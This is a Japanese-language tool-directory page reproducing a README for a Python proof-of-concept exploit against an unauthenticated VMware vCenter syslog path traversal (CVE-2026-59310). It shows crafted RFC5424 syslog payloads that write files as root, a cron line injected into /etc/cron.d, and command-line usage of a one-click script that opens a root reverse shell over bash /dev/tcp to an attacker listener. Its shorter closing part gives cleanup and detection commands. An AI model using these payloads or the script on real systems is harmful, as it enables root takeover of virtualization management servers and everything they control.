Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-59310-POC — CVE-2026-59310 の Python PoC およびエクスプロイト。VMware vCenter の syslog パストラバーサルにより、cron インジェクションを介した未認証の root RCE に至る脆弱性で、検出およびクリーンアップのガイダンスを含む。 | Kitploit
ツール/GitHubGitHub/chinaran0/cve-2026-59310-poc
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストレッドチーミングインシデントレスポンスリモートアクセスツールペイロード開発
GitHubchinaran0/cve-2026-59310-poc
552523日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-59310-POC

CVE-2026-59310 の Python PoC およびエクスプロイト。VMware vCenter の syslog パストラバーサルにより、cron インジェクションを介した未認証の root RCE に至る脆弱性で、検出およびクリーンアップのガイダンスを含む。

リポジトリを見る

CVE-2026-59310 — VMware vCenter Syslog ディレクトリトラバーサルによる未認証 RCE

免責事項:本プロジェクトは許可されたセキュリティテスト、脆弱性検証、防御研究のみを目的としています。明確な書面による許可を得た環境で使用してください。使用者は乱用によって生じる一切の結果に対して自ら責任を負うものとします。


目次

  • 脆弱性概要
  • 影響を受けるバージョン
  • 脆弱性の原因
  • エクスプロイトチェーン
  • 環境と再現検証
  • スクリプトによる再現
  • 検出と自己診断
  • 修正の推奨事項
  • よくある質問
  • 参考リンク

脆弱性概要

項目内容
脆弱性名VMware vCenter Syslog ディレクトリトラバーサル脆弱性
脆弱性番号CVE-2026-59310
脆弱性タイプディレクトリトラバーサル(Path Traversal)→ 任意ファイル書き込み → リモートコード実行
CVSS 3.19.8(Critical)
悪用の前提条件到達可能な syslog ポート(デフォルト UDP/TCP 514)のみで、認証情報は一切不要
悪用の結果root 権限で任意のパスに書き込み、任意のコードを実行
公開日2026-07-29
野放しでの悪用確認済み
ベンダーアドバイザリVMSA-2026-0006

vCenter に内蔵された syslog 受信サービス(rsyslog)は動的パステンプレートを使用してログを保存し、テンプレートはメッセージヘッダーの APP-NAME、HOSTNAME フィールドをそのままファイルパスに連結し、パスのサニタイズを行っていません。攻撃者が到達可能な syslog ポートに細工したメッセージを送信すると、書き込みパスが所定のログディレクトリから脱出し、さらにスケジュールタスクと組み合わせて任意のコード実行を実現できます。

vCenter は仮想化管理の中枢であり、一度侵害されると vSphere / VCF 環境全体が陥落するのと同義です。


影響を受けるバージョン

影響を受けるバージョン(以下の修正バージョン未満)

ブランチ影響範囲修正バージョン
9.1< 9.1.0.03009.1.0.0300
9.0< 9.0.2.01009.0.2.0100(Build 25629525)
8.0 U3< 8.0 U3k8.0 U3k
8.0 U2< 8.0 U2f8.0 U2f
8.0 初期版 / U1すべてサポート対象パスに従い 8.0 U3k 以降へアップグレード
7.0対応する拡張サポートパッチが未適用Broadcom に連絡してパッチを入手、またはサポート対象バージョンへ移行

同時に影響:スタンドアロンでデプロイされた vCenter、および VMware Cloud Foundation、VMware vSphere Foundation、VMware Telco Cloud で使用される影響を受ける vCenter コンポーネント。

検証済み環境:VMware vCenter Server 9.0.2.0 / Build 25148086、 修正版 25629525 より前であり、未修正状態であることを確認済み。


脆弱性の原因

1. 動的パステンプレートが信頼できないフィールドを直接連結

/etc/rsyslog.conf(VMware 出荷時のデフォルト設定):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% はディレクトリ名とファイル名の両方に使用され、パスのサニタイズがありません。

2. セレクタが緩すぎる

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

プレフィックス一致のみを要求するため、攻撃者は rsyslog/... を使うだけでこのルールにヒットし、動的パステンプレートに入り込めます。

3. 改行文字の貫通(RCE の鍵)

24: $EscapeControlCharactersOnReceive off

メッセージ内容の改行がそのままディスクに書き込まれるため、攻撃者は書き込まれるファイルの行構造を制御できます。

4. 核心的なバイパスポイント:RFC3164 と RFC5424 パーサーの動作不一致

これが本脆弱性で最も見落とされやすい点です。

  • RFC3164(pmrfc3164):ホスト名を解析する際に文字ホワイトリストを使用し、/ はデフォルトで許可されないため、 APP-NAME が / の位置で切り捨てられる → トラバーサル不可。
  • RFC5424(pmrfc5424):APP-NAME は独立したスペース区切りフィールドであり、文字ホワイトリスト検証を行わないため、 / と .. がそのまま保持される → トラバーサル可能。

サーバー側の input(type="imudp" port="514") はデフォルトのルールセットを使用し、RFC5424 メッセージも同時に受け付けます。 攻撃者はメッセージを RFC5424 形式で書くだけで、トラバーサル文字がファイルパスに直接到達します。

実測比較(同一ペイロード rsyslog/../../../../tmp/x):

パーサー実際の %app-name% の値
pmrfc3164rsyslog ← / の位置で切り捨て
pmrfc5424rsyslog/../../../../tmp/x ← 完全に保持

傍証:純粋な .. はリテラルなディレクトリ名として作成されます(例:rsyslog..)。これは rsyslog の omfile 層が .. の正規化を行っていないことを示しており、成否を実際に決めるのはパーサーが / をフィールドに送り込めるかどうかです。


エクスプロイトチェーン

① 未認証 UDP パケット  →  ② RFC5424 APP-NAME にトラバーサルを搭載  →  ③ ログディレクトリを脱出して任意書き込み(root)
                                                          ↓
                     ⑤ root コード実行  ←  ④ /etc/cron.d にスケジュールタスクを植え付け

ステップ ①②③:未認証の任意ファイル書き込み(root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

テンプレートに代入:

ディレクトリ = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
ファイル     = 同上 + "-syslog.log"                          →  /tmp/PWNED-syslog.log

結果:root 所有者として /tmp/PWNED-syslog.log に書き込み、存在しない親ディレクトリは自動的に作成され、内容は完全に制御可能です。

ステップ ④⑤:ファイル書き込みから RCE へ

書き込まれるファイル名は固定で -syslog.log で終わるため、/etc/cron.d/xxx を直接上書きすることはできません。 しかし改行の貫通を利用して、MSG に改行を注入し、制御可能な内容をファイルの 0 列目から開始させることができます:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron は "bad minute" を報告し、無視
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← 正当な cron 行として実行される
#

crond が root でスケジュール実行し、以下を取得:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

代替の着地パス

  • VAMI 静的リソースディレクトリ:/opt/vmware/share/htdocs/ に書き込み(lighttpd が 5480 で待ち受け)、 その後 https://<target>:5480/... 経由で読み取る。ベンダーアドバイザリの記述と一致。
  • /var/spool/cron/root:このディレクトリに書き込むことは可能だが、root という名前のファイル本体が必要であり、 -syslog.log サフィックスの制限を受けるため、/etc/cron.d/ の方が直接的。

環境と再現検証

項目値
ターゲットVMware vCenter Server 9.0.2.0、Build 25148086
修正バージョン9.0.2.0100、Build 25629525
rsyslog8.2306.0-4.ph5(VMware カスタムパッケージ)
syslog ポートUDP/TCP 514、TCP 1514(TLS)
認証要件なし

検証結果

任意ファイル書き込み(未認証)

$ python3 exploit_cve_2026_59310.py <target> --check
[i] API 名前空間バージョン: 9.0.0.0  (appliance build ではない、フィンガープリントの参考のみ)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] 送信済み。ターゲット上に root 所有のファイルが生成される見込み

# ターゲット上:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

コマンド実行(root)

$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] 植え付け済み : /etc/cron.d/cve59310<name>-syslog.log
[i] 結果の読み取り : cat /tmp/cve59310_<name>.txt

# 約 60 秒後:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost

インタラクティブなリバースシェル(root)

$ python3 exploit_cve_2026_59310.py <target> --lhost <あなたのIP> --lport 4444
[+] 0.0.0.0:4444 で待ち受け中
[+] 植え付け済み : /etc/cron.d/cve59310<name>-syslog.log
[+] コールバック成功、<target>:56184 から —— root シェルが確立されました

root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root

ターゲット IP、リバースアドレスなどはご自身の許可されたテスト環境に置き換えてください。


スクリプトによる再現

依存関係

  • Python 3.8+(標準ライブラリのみ、サードパーティパッケージ不要)
  • ターゲットの syslog ポートにネットワーク到達可能(デフォルト UDP/514)

ワンクリックエクスプロイトスクリプト exploit_cve_2026_59310.py

# 1) インタラクティブな root リバースシェル(最も一般的)
python3 exploit_cve_2026_59310.py <target> --lhost <あなたのIP> --lport 4444

# 2) 単一コマンドを実行し、出力をターゲットの /tmp/<name>.txt に書き込む
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"

# 3) 非破壊的検証:未認証の任意ファイル書き込みのみを証明
python3 exploit_cve_2026_59310.py <target> --check

# 4) クリーンアップコマンドを表示
python3 exploit_cve_2026_59310.py <target> --cleanup

よく使うパラメータ:

パラメータ説明
--portsyslog ポート、デフォルト 514
--tcpUDP ではなく TCP を使用
--lhost / --lportリバースシェルのコールバックアドレス / ポート
--method {bash,python}リバース方式、デフォルト bash(/dev/tcp)
--name単一実行の一意な識別子、デフォルトはランダム
--timeout実行/コールバックを待つ秒数、デフォルト 180
-qbanner を表示しない

簡易 PoC poc_vcenter_rce.py

python3 poc_vcenter_rce.py <target> --check              # 任意書き込みを検証
python3 poc_vcenter_rce.py <target> --rce "id" --name t  # コマンド実行
python3 poc_vcenter_rce.py <target> --cleanup            # クリーンアップのヒント

生の送信ツール poc_syslog_traversal.py

HOSTNAME / APP-NAME を独立して制御でき、手動でメッセージを構築するために使用:

python3 poc_syslog_traversal.py <target> \
    --tag 'rsyslog/../../../../tmp/test' --msg 'hello'

クリーンアップ

本脆弱性は書き込みプリミティブのみを提供するため、スクリプトがリモートファイルを自ら削除することはできません。クリーンアップはターゲット上で実行する必要があります:

rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*

検出と自己診断

影響を受ける可能性があるかの判断

# vCenter Shell でバージョンを確認(Build < 25629525 の 9.0 ブランチは未修正)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version

# 脆弱な動的パステンプレートが存在するか確認
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf

# 改行の貫通が有効か確認
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf

侵入痕跡の調査

# 1) /etc/cron.d 配下の異常なファイル(重点:-syslog.log サフィックス付きのエントリ)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
ツールをダウンロード